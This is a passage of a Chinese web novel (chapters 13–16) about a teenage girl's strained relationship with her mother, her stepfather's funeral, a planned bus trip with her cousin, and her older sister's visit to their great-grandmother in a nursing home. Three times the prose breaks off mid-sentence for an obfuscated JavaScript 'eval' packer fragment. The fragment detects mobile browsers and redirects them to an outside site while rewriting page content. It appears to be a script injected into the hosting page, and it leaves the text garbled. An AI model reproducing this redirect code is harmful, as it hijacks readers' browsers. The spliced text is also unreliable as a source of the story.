昭岁没听,犟气往后靠,又被齐美裳拉了回来,然后再次靠到墙上,这下没拉力,反而是被推一把,背贴上了墙。 昭岁硬着牙,没说话。偏头去看,墙灰落在了肩膀。 “我已经把群给你退了,以后不要再去报名什么集体活动了。”齐美裳说,“能不能让我省省心,你小时候就最闹腾,要是……” 她话没讲完,中途止住,抬头与昭岁对视,又偏头过去。 昭岁愣住。 心中潜藏的不安,再次被撕开摆在面前。 昭岁心有不满,轻声嘟囔,“你当时真该挑姐姐的。” “你说什么?” “姐姐轻轻松松考个省重点,哪像我。” 话刚出口,昭岁就后悔了。盘旋许久的憾事,在这当下问出口,是给齐美裳徒增烦恼。 当下,齐美裳就绷不住了。 “你这么喜欢坐公交车,是不是就是气跟了我?要是和你爸在一块。” “你是不是不满我?这么喜欢公交车,就是想和你爸一起过,后妈比我有钱,你过上大小姐的日子了。” “马上高三了,分班考去尖子班,不然屋子里那堆模型给你扔了。” 这一句句劈里啪啦一堆下来,昭岁的头越埋越低。过了半晌,齐美裳的手过来,又捏捏她的手,轻轻哄她:“听话点。” 她一抬头,瞧见齐美裳眼睛红红的,眼泪大颗大颗往下掉。 昭岁带着一种无能为力的恐惧,是对刘海洋的疾病,是对齐美裳的焦虑不安。每次努力,换来一次争吵,与齐美裳的交锋,不是要分胜负,又是昭岁试图为自己的价值去做辩解。 可临到结束后,她才发现争辩偏移了轨迹,彼此都成情绪炸弹,爆炸时两败俱伤。每每如此,她总带着一股歉疚,感觉徒增了不必要的消耗。 没了刘海洋从中说和,二人吵起来的频率增多了,昭岁体谅齐美裳,尽可能听她埋怨,不发一言,可到后头,忍不住反驳。 偏偏挑起不爽的是齐美裳,讲和的也是齐美裳。可下次爆发时,又翻上次没吵完的旧账。 而似乎心照不宣的,没人再提起映年。 _ 飘窗上垒着没拼完的模型,昭岁和黄柠檬盘腿对坐着,正在研究轮船内部的结构。 玄关有开门声。 昭岁以为是祁孝逑,没太在意。但又怕真是齐美裳,于是还是站起身打算把房间门锁上。 放走到门口,齐美裳先她一步过来了。昭岁走出房门,把门捎带上了。 “怎么?打算一声不吭就走啊。”齐美裳挂了件崭新的雨衣在她门把手上,“什么时候再考科目二?” 昭岁警惕地看向齐美裳。 这事,咚咚不会出卖她,也和三姥姥谈拢了,有可能说穿的就是映年。 思考时,她盯着齐美裳的胳肢窝。齐美裳身穿着中袖,看不到里面的情况。 “回来再考呗。”昭岁说着,听见还有脚步声,她探头出去,瞧见是映年打开房门出来。 齐美裳问:“就要一鼓作气考完。” 昭岁不置可否,问:“你去刮毛没?” 齐美裳说:“没。” 昭岁没由来一阵气,不是气映年,是气给齐美裳的被她转给了别人。她佯装拿着雨衣出去扔包装,正巧想去看映年穿背心,去拿水杯时,腋下依旧有黑色的腋毛。 瞬间,昭岁又觉得亏了,用了总比不用好。 “我下午加班。”齐美裳转去厨房拿了支冰棍出来,坐在沙发上,“我让你爸去的。” “妈手痛,抬不起来。”映年去掏背包里开的外敷药,拍拍齐美裳的腿,“换件衣服出来,我给你湿敷。” “怎么回事?”昭岁问。 “没事。”齐美裳含着冰棍,含糊不清,瞪了映年一眼,又说了一句,“没事。” 齐美裳转进了主卧室。 昭岁还拿着雨衣包装在拆,心头已经猜出答案,感觉信息差落了下风,她有些不甘心,话里带着些兴师问罪:“你告诉我妈的?” 是我妈,不是妈妈。 映年听出了她称呼上的小心思:“什么?” “公交车旅游。” “你瞒得住吗?” “……” “刮腋毛自己想刮就刮,别强迫别人。” 这让昭岁气又起来,给齐美裳的体验,被映年说成了“强迫”。齐美裳都没说什么,怎么轮到映年来给她断案了。 映年视线转向半掩着的房门,想起齐美裳的伤和原因,说:“这么快就和好了?还以为你……” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16016298|178458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“是,我就是这样的人。”昭岁打断,不让映年继续说,“我就喜欢和朋友一起玩,哦对,还要一群人玩。她们很好,她懂我,知道我的想法并且理解我,就算是闹矛盾也轮不到你来评价。” 这一长段话,昭岁越说越激动,甚至于到尾句带着哭腔,眼睛收不住眼泪。她讨厌这种感觉,但凡情绪激动,就容易泪失禁。 映年冷漠:“那你应该挺喜欢小组作业的。” 四五人的团队做作业,到头来基本是映年完成所有,如果后续有情况,还得她来帮忙擦屁股。何尝不是一个人抵一个团。 昭岁刚压下在收情绪,被映年冷冷的话制住,她往着映年,一脸不可置信,她有委屈要讲又不能讲,想反驳的话又太刻薄,可忍着难受,说的攻击话显得有气无力:“你太高傲了。” 齐美裳换了个工字背心出来了,看见姐妹俩正在剑拔弩张。 她以为是昭岁还在生气:“等手好了一块去刮哈,没事。” 昭岁的目光在齐美裳的背心上,这样看,映年和齐美裳穿着瞧上去真像。 映年蹲下,把茶几里的药拿出来,在看说明。 茶几上摆放着医院开的药,雨衣、雨伞,肩膀上浮肿的淤青,一同约定敷药。 “你俩去,别捎我。”进卧室关门时,昭岁把门砸得“哐当”一声。 刚进屋,她就发现不对。手机落在外头的餐桌上了。 昭岁想去取,刚闹那一通,出去撞见,不免尴尬。她心头烦,坐回飘窗上,黄柠檬询问怎么了。 昭岁说:“没什么,我妈车祸受伤了,肩膀这。” “那我去阿姨问个好。”黄柠檬作势要起身,被昭岁一把拉住了。 昭岁说:“没事,她在洗澡。” 黄柠檬被拉了回来,两人继续拼模型。不一会儿,外头有响铃声,是她的手机,黄柠檬听出来了,让昭岁去拿。昭岁没动。 “又怎么了?”黄柠檬笑。 “没什么。” “你好幼稚啊。” 昭岁瞪她一眼,没说话,也没起身,拿着模型零件在找位置。她还在较劲,开门出去就是认输了。 等了会儿,“叩叩”敲门,外头声音传来:“手机。” “你放门口。” 门又敲了两下,是母女俩默认的求和仪式。 昭岁心满意足起来,打开门取回手机。 “打算多就走?” “明后天。”昭岁讲起重点,对齐美裳平实的反应差异,她试探问,“我能去吗?” “我的话有参考价值?” “我想听的就有。” “你自己注意安全。”齐美裳嘱托了几句,“我年假批下来我就过去。” 齐美玉的意思是不用去,视频道声别就行。哪能啊,这身份一拨下去,即便自己还认可姐妹关系,对方也不会以姐妹相称了。 身份的“最后一面”,不能错过了。 旅游一事暂时搁在一旁,齐美裳讲:“明天大姥姥回来,一块去接呗?等会叫你。” 昭岁不喜欢大姥姥,还是应允,心头排斥,她握着门把手想关门。 齐美裳撑着手,还是没离开:“黄柠檬在公交群里打听,你爸知道了,告诉的我。” 这是在澄清映年并非告密者。 “不用给她说好话。”昭岁强撑。 “你自己问黄柠檬。” 昭岁悄摸去瞟客厅,没瞧见映年的身影。误会她了。可她仍旧气不过映年颐指气使的模样,凭什么? 黄柠檬让她问齐美裳为什么复婚,当事人解答比猜来猜去好。 现在齐美裳就在面前。昭岁在想要不要问。 今天祁孝逑正好不在家。 齐美裳见她还没进屋,话也更好开口了:“咱也不是非得去北方,是不?这次出门看看,都不错的。” 昭岁缓缓抬头,盯着齐美裳,无法绝情,只能敷衍点点头,在对方满意的笑中,关上了门。 不一定非得去北方。 是不想留在鹊市。 14. 第 14 章 刘海洋入葬那天。当天学校有模拟考试,这有关于整个区的排名,有很大的参考价值。 齐美裳计划让昭岁去考试,当时大霜陪着她过夜,昭岁不满,也不好闹,争取两下,大霜也在劝她:“刘家那群人不怎么好,你去也必要,海洋哥也理解的。” 昭岁没再勉强。 临到当日出发前,齐美裳改主意,扯着昭岁起了床。 “还是去一趟吧。”齐美裳说,“我不想你能记这天一辈子。“ “噢,好。”昭岁爬起来穿衣服,见手表上时间显示四点钟,“这么早?” “快点,我们坐别人的车上去。”齐美裳见她慢吞吞的模样,想帮忙找衣服时,听见昭岁大叫了一声。 “咋了?”齐美裳打开柜子了,里面摆有一盒塑封未拆的模型,两件衣服搭在上面虚掩,这也遮不住。 昭岁低着头,下牙咬着上唇,心头慌张,去翻找放在不知散落在何处的皮筋,担心齐美裳又劈头盖脸一顿骂。 齐美裳拿了条黑色运动裤出来,扔在床上:“快点,我去烙两个饼路上吃。” 昭岁还在庆幸,拿着手机发消息,告诉同桌今天不用去参加考试。 她问齐美裳:“你不和老师请假吗?” “请什么假?烧了就回城,到时候送你去学校。”齐美裳说,“时间够。” “啊?” “啊什么啊?等会儿路上别给我唱反调,让那刘家人看笑话。” “不是,我是铁打的吗?四点起来去殡仪馆回来,九点回学校考试,不能这样啊。” “这有什么?你爸不也每天三点起来和面。” “拜托,他下午还能睡觉。” “你中午几小时不也能睡觉。” “那是自习课,坐教室里做题。” “家长会时候,班主任已经点过个别同学上课睡觉了。” “服了,她守着谁敢睡?反正考试睡过去了别怪我。” “得了,我这几月还得三点和面,九点上班呢。” 昭岁一时语塞,她对齐美裳的付出太理所应当了。她去怀疑是不是真的做错了,或许去考试也没什么大不了的,总比让齐美裳忧心好。 去殡仪馆的山路崎岖,面包车内摇摇晃晃,拽着安全带扭来扭去。 因睡眠不足,昭岁头一阵阵发痛,后座的刘家人嘤嘤呜呜在哭,显得前面沉默的母女二人有些冷血。怎么说,刘家除了大霜家本就在鹊市打工,都是从螺市前来奔丧的。 可昭岁哭不出来。她满脑子都是和齐美裳的争吵,这场拉锯战终于因为刘海洋去世快到达尾声,齐美裳的压力也会减少很多。又去想,可能不是这样,没有刘海洋从中调和,她与齐美裳的关系或许会更遭。 也不一定,离婚后一年,母女二人相依为命时,还是十足的亲近。什么造成的呢?学业吧,昭岁想,有排名就有比较,有姐妹就有比较。 齐美裳是难免的吧。 昭岁的烦忧不是刘海洋的离世,是忌惮齐美裳越发澎湃的潮,将要把她倾吞。明明刘海洋对她千般万般好。同时,她又怜悯起齐美裳来,居然在丈夫死后,得到女儿这样的看待。 昭岁为种种无耻的想法而颤栗。 刘海洋离开后,昭岁总担心齐美裳会垮下来,每当齐美裳说出个头晕闹热的情况,她总是心惊胆战。后来齐美裳似乎发现她的弊病,每次“求饶”或“逼迫”,都用上了苦肉计。 一段时间里,昭岁扮演乖学生的模样,或者说是装着当齐美裳眼中的乖学生,相处融洽不到半月又被模拟考的成绩击溃。可能在齐美裳的眼中,这称得上是“原形毕露”。 她知道怎么样能讨齐美裳欢心,但她就是做不到,成绩可不必情绪那般起伏跌宕,稳定得如一潭死水。 心头告诉自己:还有半年,也就半年。 现在,高考后,齐美裳从“争吵”变成了“求饶”,拼命扛家的女人,低头语气缓和,不知道是不是强硬前的权宜之计。 ——幻想中的放肆远走,真的能如决心冒起时那般果断吗? 昭岁满心狼狈。 她从没有接受到直抒胸臆的爱,齐美裳残忍又温和,执拗的相处没能教会她怎么表达,怎么承受,又要怎么去维护。 刘海洋能包容齐美裳,却没法僭越齐美裳,去引导昭岁。 她们一定要夸大其词,一定要瞠目结舌,一定要翻江倒海,到那时,才能真实剖开自己。 _ 想了一晚上借口,昭岁打算搪塞不去接人,连开口都没讲出来,就被齐美裳的话堵了回去:“现在姥姥身体也不好了,你真要出去上学,能见面的次数也少了。” 齐美裳向来爱用这样的话。 昭岁想,可能齐美裳就知道自己招架不住。 昨晚落了点雨,出门时刮风粘腻潮湿,像是蒸笼上汽,吹在皮肤上湿润发黏。 她们要去机场接机。 这番出养老院,大姥姥参加完齐美裳的家宴,北上飞到了齐美棠那观光,现在才回来。 车是祁孝逑的车。 昭岁以为映年也要一块去,没有,车内只有祁孝逑。齐美裳把她塞进副驾驶,自己坐在了后座,关上车门,拍拍她的肩膀:“观摩一下老司机怎么开车的。” “学不会就不开车呗。” “怎么能不会,你爸可是司机啊。” “他又没教过我。” 车内一阵沉默。 机场停车位难找,寻了一圈,没找到位置。齐美裳耐不住性子,先一步下车,说去接人。昭岁想一块去,又留在车上了。 她和祁孝逑坐在车上。 “你贵发哥和大姥姥一块过来的。”祁孝逑说,“别乱叫人家,大姥姥听了不高兴。” “桂花糕自己都不介意。” 所以必须空余一个位置,匀给桂花糕。管齐桂发叫“桂花糕”不叫“桂发哥”,纯粹是幼时映年起的头,她看不惯就大半个月的男孩指手画脚,她就要取个谐音这么叫,五姨纠正几次都没掰过来,映年硬要这么叫。 小辈一下觉得有趣,都这么叫了。 祁孝逑提醒着“啧”了一声,又说:“他考上了鹊大这边的研究生,这会儿大姥姥回来,他跟着提前过来了。” “我知道。”家庭群里,朋友圈里,五姨都发过。 “你也毕业了,有啥计划?”祁孝逑还在找车位,把探着身子四处在看。 “公交车旅游。” “……我说的是读什么专业,什么学校。” 祁孝逑特意把学校放在后头,专业提前,不知道是不是故意的。这真是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16016299|178458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 容易终结的话题。 父女俩分别这么多年,非得聊谈她的学业吗? 车库风力不够,尾气让昭岁的呼吸变得短促,频繁换气,有种沉闷的窒息感。 “工科吧,能考上什么读什么。”回答模棱两可。她瞥向祁孝逑的胳肢窝,真干净了。 “工科是什么?” “嗯,就理工科。” “数学?” 确切的猜测让昭岁松了一口气,她完全没有考数学的意向。数学给她的印象就是高一时端着茶杯的地中海老头,后来换了个美女老师,偶尔会有带保温杯的习惯,她都在猜里面装的是不是同款普洱茶。 这样想,昭岁不由自主地回忆齐美裳说,映年要去二中当地理老师。地理老师是什么的样子呢?那是个五十出头的女人,爱穿五角星的服饰。 印象深是因为老师主动招呼昭岁,说从前教过映年,话里夸了一箩筐映年的成绩。 映年多半会和她成为同事吧。 齐美裳可是盼了很久,二中的老师,多体面。 祁孝逑这么问,多半也是有所预设。她的成绩来学数学,可是当不了什么学者一类的大人物。可能父母也想她当老师吧。就像齐美裳之前说的,让她读汉语言。 她回道:“差不多吧。” “鹊师大的数学就不错啊?” 果然。 她点头:“嗯,不错。” “考虑一下?”祁孝逑终于找到车位,连车内“滴滴”的停车提示都不用,稳稳地停进车位。 停车难度不是最大的,更多的是找车位吧。昭岁两次都挂在S型路线,此后的停车几乎没这心思。 她思绪发散,在祁孝逑对鹊师大的介绍中,连续说了几声“嗯”。 回程路上,齐美裳担心大姥姥晕车,把副驾驶安排给了她。 昭岁坐在后排中间,一左一右是齐美裳和桂花糕。兄妹就在节日偶有往来,感情谈不上深厚,但也不错。 两人在上车在聊机甲动漫,讲最近的剧情。桂花糕从书包里掏了个小盒子出来,一看,是新出的机甲模型,说是妈妈送给昭岁的。 她欣喜,想拆开,又怕零件散落一地,只打开个口子,查看了一番。 大姥姥在飞机上没睡好,这会儿眯着觉,齐美裳让两人安静些。 昭岁还捧着模型盒子,掏出说明书,翻来覆去在看里面的零件说明。 兴奋过后,昭岁有一个更为关键的问题:桂花糕的住宿。 每次回来,都是齐美棠和桂花糕一块,住在家里的客房。当时家还是三室一厅,有空余的房子,现在可不一样。 没有多余的房间。 硬要说多余,明日昭岁出发,房间就空出来了。 齐美裳招待家里亲戚周到,但凡要歇脚,怎么匀也不会让人住宾馆。说来,从前她总是担心房间被哪哪来的亲戚夜宿,在齐美裳分配时总时惴惴不安,可有再多的亲戚来,和昭岁同床的也就大霜和咚咚。 这点,昭岁是信任齐美裳的。 可现在不同了,她将离家,至少一月有余,房间足足空了出来。齐美裳准允她出发,不会就是要给桂花糕腾地儿吧。 她心里打鼓,暗下决心: 如果,如果齐美裳把房间给桂花糕住,那她以后都不回家了。 15. 第 15 章 齐美裳本打算给桂花糕接风洗尘,对方婉拒说今天有事,便拒绝了。昭岁便找了个机会溜了。 咚咚发消息让她取了再快递上楼,抱着大箱子爬了三楼。门半掩着,她推开门。 几天没来咚咚家,已经大变样了。 茶几被三姥姥掉了,她买了个瑜伽垫,摆在茶几的位置,对着电视练习瑜伽动作。 昭岁把快递放在餐桌上,咚咚过来,把空调风向往这边吹,又转去厨房,给昭岁拿了块冰糕。 咚咚在拆快递,都是买来路上用的装备,她问:“大姥姥回了?” “嗯。” “桂花糕一块的?” “知道还问。” “他前两天找我借钱,我还以为他要旅游呢。” “你们平时还聊天?” “上个月咨询过他,投资的事情。” “他懂什么。” “比我懂吧?”咚咚把睡袋拆开,有三个,本来是打算当备用的,“你给你姐说没?” “她不去。”昭岁想起昨天映年的模样。 “当老师也要等暑假完了来啊。” “要培训。” 咚咚“噢”一声,没再问。 三姥姥练习完,进了厨房,出来时,手上还拎着几个空罐子。 拎着罐子到厨房,清洗干净,又提着出来,放在阳台上去晾。 三姥姥说:“你妈喜欢吃酸黄瓜,你带一小瓶过去。” 公交车出行计划,咚咚还以为最难说服的就是三姥姥,这事又瞒不住,讲起时咚咚尽可能说得轻盈些,没想到三姥姥很快拍板。 “你到时候一块带来呗,或者快递,我们东西这么多。”咚咚怨言,她们就准备背个登山包,行李空间都尽可能节省,“我这磕磕碰碰的,碎了咋办。” 三姥姥月底有个免费体检,打算做完体检再去蝉市,飞机直达。 “那能一样吗?” “有什么不一样的,不都是你腌的吗?” “一个闺女带的,一个妈带的,能一样吗?” 三姥姥把罐子摆弄得“哐哐”响,语气带着怒,“你想吃杨梅,你妈不也大晚上给你去摘的?” 又提杨梅。 咚咚想说,以后可能都是叫“施主”,但她没说。这太自私了。她分不清对齐美玉出家是怎么样的心情,可能上一秒还在生气,下一秒就是祝福。 圆场的还是昭岁:“我给她装包里,咚咚跋山涉水也得给我背过去。” 昭岁或多或少理解当下的咚咚时刻。无论如何,咚咚断然不该和同样在失去的三姥姥这般交锋——即便昭岁感觉从前的一些不必要的争吵,是齐美裳试图在她身上寻找心安。 比起死亡,出家这种回环余地下的选择,对于齐美裳来说,接受还算良好。 至少在家里,齐美裳突如其来长叹一声气,呐呐说“她这么爱吃牛肉,怎么受得了”,或者是“以前捐头发剃个短发,还哭的不行呢”,还有“也不爱动,这下山一趟多累啊。” 话到最后,又会添上一句:“这样,想通了也行。” 收了没多久,剩下的快递全到了。咚咚差遣要备料,便差遣昭岁下楼去拿。昭岁有求于人,没多话,跑下去了。 三姥姥见只剩咚咚一人,她转回屋子里,拿着木盒子出来。 咚咚还以为又是什么陈年旧物要捎去,等木盒子打开,便见着是一沓钱。 这笔钱,是齐美玉卖房剩下的。本计划是咚咚工作的打点费,前两日三姥姥要了回来。 她匀了一半给咚咚。 “不要放这么多现金在家,存银行。”咚咚没接钱,把那一半重新放在了木箱子里,“要不就用保鲜盒来放,还能防潮。” “过阵子回来,我要去养老院了。”三姥姥说。 咚咚笑敛下来。她昨日还和昭岁感概,姥姥置办这么多行头,终于运动强健身体了,长命百岁不是问题。 哪知今天宣布这决定。 前年大姥姥住进养老院时,三姥姥一面去嘲大姐没享福的命,一面去骂外甥女没孝心,一面又去怜惜,把罪责怪在刘海洋身上。 “就是刘海洋这病,美裳才这么辛苦。” 大霜来找咚咚玩,听见这话,自然不乐意,也没回怼,咚咚道歉再来找她玩,悉数拒绝了。 不止大霜,还有昭岁。咚咚本就交友甚少,这三姥姥一同折腾,爱和她一块玩的就更少了。 她常在对方念叨时,有意无意说起“养老院”,半是盼望半是威胁的提及,总能让三姥姥闭嘴。 咚咚早就洞穿三姥姥的胆怯。 她去想从前提及“养老院”的情形,分明每次都是三姥姥先挑的事端。她断定在对方心里,自己是个不务正业、不三不四、不听老人言的不孝女了。 昭岁装乖讨好大姥姥,咚咚也学着,两人碰见的共同点是姥姥们都不买账,可昭岁依旧能面不改色地撒娇,咚咚是学不会。 她有的是底气。 三姥姥就齐美玉一个小孩,齐美玉又只有咚咚一个小孩。这就是身份给的底气。 而此刻,三姥姥说:“我问过大姐了,到时候我俩住一间房,二人间正正好。” 咚咚第一反应是三姥姥在试探,抬头眼神撞向她,眼神里满是柔光,她被烫到,低头继续去搅拌着料桶。 心已经飘了。 她说:“你决定就行。” _ 养老院的活动中心,排排坐了一群老人。 生日月的日子,大姥姥赶着要回来,不过是为了讨口蛋糕吃。 映年陪同着一块唱生日歌,给大姥姥收拾好房间,最后跟着来了棋牌室,要她充数。 麻将是养老院常规娱乐项目。 去年大姥姥住进养老院,当天晚上委委屈屈给映年打了一通电话,说齐美裳不要她了。这话,听的映年一阵痛,也想起自己的情况。第二天白天,映年完课就过来找大姥姥,对方情绪不太好,见她来,也没多高兴,只陪着在院里溜达了一阵儿。 大姥姥带映年到七岁大,祖孙俩亲密,到父母离婚后,杨梅园又远,映年几乎没见到大姥姥。念大学时,杨梅园拆迁,大姥姥搬进城里,映年大学时光可控多,找到机会见面了。可两人这些年见面次数不多,多数是大姥姥电话映年,她几乎召之即来。 离开时,大姥姥抱着映年啜泣:“我们都是苦命人啊。” 现在大姥姥融入得很好了,红光满面的。 她在牌桌上介绍映年:“大孙女,名牌大学的,可聪明了,绝对给我报仇。” “你看她抓牌,哪会。”东面的牌友嘲笑。 映年真不会。少有来养老院的情况,多数是散步,大姥姥吐吐苦水,今年频率更少,她没有摸牌的情况。 “不会就学。”大姥姥说,“怎么这都不会?” 映年没什么玩乐的耐心,可倘若是学习,她投入能是百分百。大姥姥和映年坐在一方,指导她怎么出牌、摸牌、看牌,几场下来,映年表示会了,大姥姥又重新做回位置。 真到真枪实干的时候,映年输得落花流水。大姥姥好强,这脸上面子有点挂不住,寻了个理由,拉着映年走了。 她们绕着湖走了一圈,大姥姥在说北方旅游的趣事,映年还是听众。偶尔露过几个熟识的老人,大姥姥还会一样的话术介绍映年。 在养老院的生活,已经适应得很好了。 临到饭点,映年要离开。 大姥姥说:“贵发要是找你借钱,你别借,知道吗?” “我都没钱。”映年说。 大姥姥没说缘由,“嗯”了两声,和映年往院大门口走。映年让她不用送,大姥姥和保安打了声送客的招呼,出了院,去到对面的公交车站。 祖孙二人坐在公交车站牌下。 映年说了些该嘱咐的话,无非就是按时吃饭睡觉,少点牌,遵从定制的康复训练。 大姥姥说:“美裳说你要去当老师了?” 映年“啊”一声,道:“还不确定呢。” 实际上,录用通知在早上就出来了,发到了映年的手机短 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16016300|178458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 信上。 “美棠出去这么多年,”大姥姥说,“也没那么顺,一步一步累得。” 映年点头。 “美裳这些年不容易。你一直很省心,现在昭岁也大了,一家人更好了。” 在一众父亲中,祁孝逑算得上不错的。也就算得上,这是映年的评价。可从沈烟的角度来说,祁孝逑做丈夫是很好的。齐美裳离婚一定是有不舒心的地方,真那么好,齐美裳未必离婚。她也不明白齐美裳为什么复婚。 公交车来了,映年站起来。 大姥姥还在说:“美玉想好了,也清净了,大家都好了。” 公交车停进站,映年踏上车,转头和大姥姥挥手告别。 _ 双翘板存在滑板店上承轴,映年往过去取滑板。大脸猫听到消息,想玩映年的新板,也跟着过来。 映年练招找感觉,大脸猫也来了,试了一下,感觉不错,还给她。两人用各自的板继续练习。 场地临近师范大学,附近玩的多数是学生。映年技术好,她们练着练着,目光聚焦在映年身上,满眼敬佩。映年休息时坐下来,听着她们在讨论要怎么抢下学期的选修课,重点不是课程有趣,而是课业轻松。 映年听着有趣,她当时是抱着学习态度去修新增的音乐鉴赏,当时都以为轻轻松松听点歌,没料到考核严格异常,映年这种没天赋的还得课下品鉴联系挣分。 话题又到了今年的专业收分,是涨还是跌。 映年记得黄柠檬想要报师大,还相约昭岁一起,都被敷衍搪塞过去了。这事,昭岁抗拒不提,映年不可能自讨没趣。 祁孝逑私下问过映年关于择校参考。她说不出个所以然,反而让祁孝逑觉得不自在,他对映年的志愿填报有愧。 当年是找的一家机构,参考多方填鹊大地理。专业时她自己选的,其实能选的很多,祁孝逑建议了些工科,映年还是坚持自己。 后来录取线下来,映年的分能够得上更好的学校。祁孝逑不满去机构投诉,钱拿回来了,可录取情况就定下来。 大学那会儿映年不明白祁孝逑的愧在哪,她对学习乐在其中,到毕业找工作渐渐感受到了。 学习和工作两码事。工作烂透了。 休息一会,又拿着板下去晃荡,回来时大脸猫在和一群人聊天。 这片区域大,碰见桂花糕纯粹偶然。大脸猫玩球,自然认识这帮人。 见桂花糕,映年没认出来,只觉得眼熟,是对方先打的招呼,她才想起那个喜欢弹鼻屎的男孩。 大伙说碰见了一块去吃饭。 的确都是小学同学,可多少年没联系了。映年不想去,大脸猫撒娇想映年陪着,不然就她一个女孩。映年还是不想去,大脸猫面色转阴,赌气说不去就不去。 等到从体育场出来,大脸猫发现映年真的不想去,又转来求她一块:“我也陪你一块上轴上砂纸啊。” “是你约的我,我用新板就是顺便。”映年说。 有没有大脸猫在,她组装新板都行。 饭没到非吃不可的必要,她这一出拒绝,闹得大脸猫难看,撒气叉腰不理她,桂花糕来劝和,说他请客。 大伙赞同,也在劝,大脸猫视线再次移向映年。 这是齐美裳夹的荤腥,是加班烤肉中的举杯,是面试后五角星老师的暗示,映年再次被推上高地。 她早该习惯的。 所有人默认她的优秀,这份默认推着她往上爬,渐渐地,她也默认了这份默认,自己迈腿使劲攀登,直到自以为站上顶峰,当下才会觉得摇摇欲坠。 比如她不得不,承认眼下不想参与的原因之一,是不如她的桂花糕居然考上了鹊大的研究生。她有保研的机会,是放弃了,她心头想,反正出来都是工作,多上两年学最多也是缓和两年。可她清楚,是忮忌中的宽慰。 现在映年又成了目光的聚集点,等待她的点头。 对比那些,这开口很简单。 她说:“我不想去,你们也不是差我吃不了这顿饭。” 16. 第 16 章 出摊前,昭岁说出了邀请咚咚一块睡的请求。 “哟,我还能荣幸和你睡一块呢。”咚咚嘴上在调侃,听到昭岁的顾虑,答应下来。两人明日就要出发,本来计划在枢纽站汇合,现在一块去也一样。 三姥姥直接把三轮车开到昭岁小区楼下,咚咚大大的登山包放在座位上。 二人坐在矮凳上,岔着腿,双手搭在膝盖上,手端着凉粉在吃。 “早知道就让你去脱毛了,给我爸也是浪费。” “我不想脱。” “为什么?” “我要让我的毛毛跟我一辈子。” “啊?” 在昭岁错愕的眼神下,咚咚把碗放在小桌板上,挽起短袖到肩膀,伸直手臂,又举起小臂,稍稍用力,胳膊的肌肉线条更明显了,相对的,腋毛乱串。 齐家人个儿都高,咚咚尤其明显。看着胖,实则壮,用三姥姥的话说就是“瓷实”,糖水保温桶这么重,举抬着轻轻松松。 “能有什么影响?” “你是不穿吊带。” “穿抹胸都不影响。” “……” “也没见你穿吊带啊?” “……我没买。”不止吊带,购物车里还有新加入的大红色比基尼,昭岁连头脑发热都没下单的勇气,还计划着要不在去把□□的毛也脱了,看着咚咚坦然的模样,一时间语塞,“算了。” 糖水摊是三姥姥开车收回去的。 咚咚背着登山包,和昭岁一块上了电梯。 “明天早点起来,我们做首班车。”咚咚说。 “好。” “我用手机给你充卡钱,app都下载好了吗?” “下好了。” “鞋子挂在包上就行,还透气,也不要带多了。” “我知道。” 咚咚絮絮叨叨的提醒,昭岁没太认真听。她看着不断上升的电梯,生出惶恐,担心桂花糕鸠占鹊巢,更深层的是她故意不去提的成绩。 还有两天就该查分了。 数学的那道几何题,她反复订正答案,再去演算,才考完,记忆就模糊记不清究竟有没有证明出来面和面的平行。 祁孝逑怎么会以为自己会学数学呢? 到底是分别久了,不够了解自己。也不一定,可能是齐美裳传达错误,让他有所误会。 那两个面注定要相交。怎么能是证明平行的呢? 她握着电梯的扶手去平息担忧,问出来:“一定要出去吗?” 咚咚“哈”一声,怔愣看她。临到出发,三分钟热度,别真打起退堂鼓。 昭岁又问:“你带酸黄瓜没?” 咚咚卡住,退两步,抬了一下眼镜,还是说:“没有。” _ 映年一个人坐在公交车的后座上。 她点开家庭群,才发现齐美裳在通知说:接到了大姥姥和桂花糕。立马去翻加沉底的家族群,昨日就在聊,齐美棠发了些大姥姥的旅游照。 往上翻了一下,全是照片。她没多大兴趣,退了出来。 室友群里在聊天,庆幸大一买的皮靴增值了,从八百涨到一千八,算是一笔好大的投资。 四号床问:“这算什么投资?会不会出二手?二手的价格是多少?能赚什么差价?” 三号床说:“它升值了,你的行头不也升值了吗?” 一号床也煞风景:“你清楚你踩的不是一千八的靴子,是八百块钱的。” 三号床表示:“有什么?别人知道我穿的是一千八的就行了。” 两人就这一千八还是八百怼来对去,四号床是中立,又圈映年出来站队。 映年脚上还有皮靴磨脚起的泡呢,她说:“我在想我为什么要花,半个月生活费来买打脚的靴,还给配鞋油。” 她的话着眼于“消费”,一二三号床则达成统一,认为皮靴是越穿越贴脚型,映年就是穿的太少了,没驯服。 玩滑板的很费鞋,练招时砂纸摩擦鞋底鞋面高频玩的话,三四个月就能破损。她有时穿着板鞋,都不敢走石子太多的地儿,鞋底磨得太薄,怕真摁伤了脚底。 皮靴换了个调,来磨她的脚了。 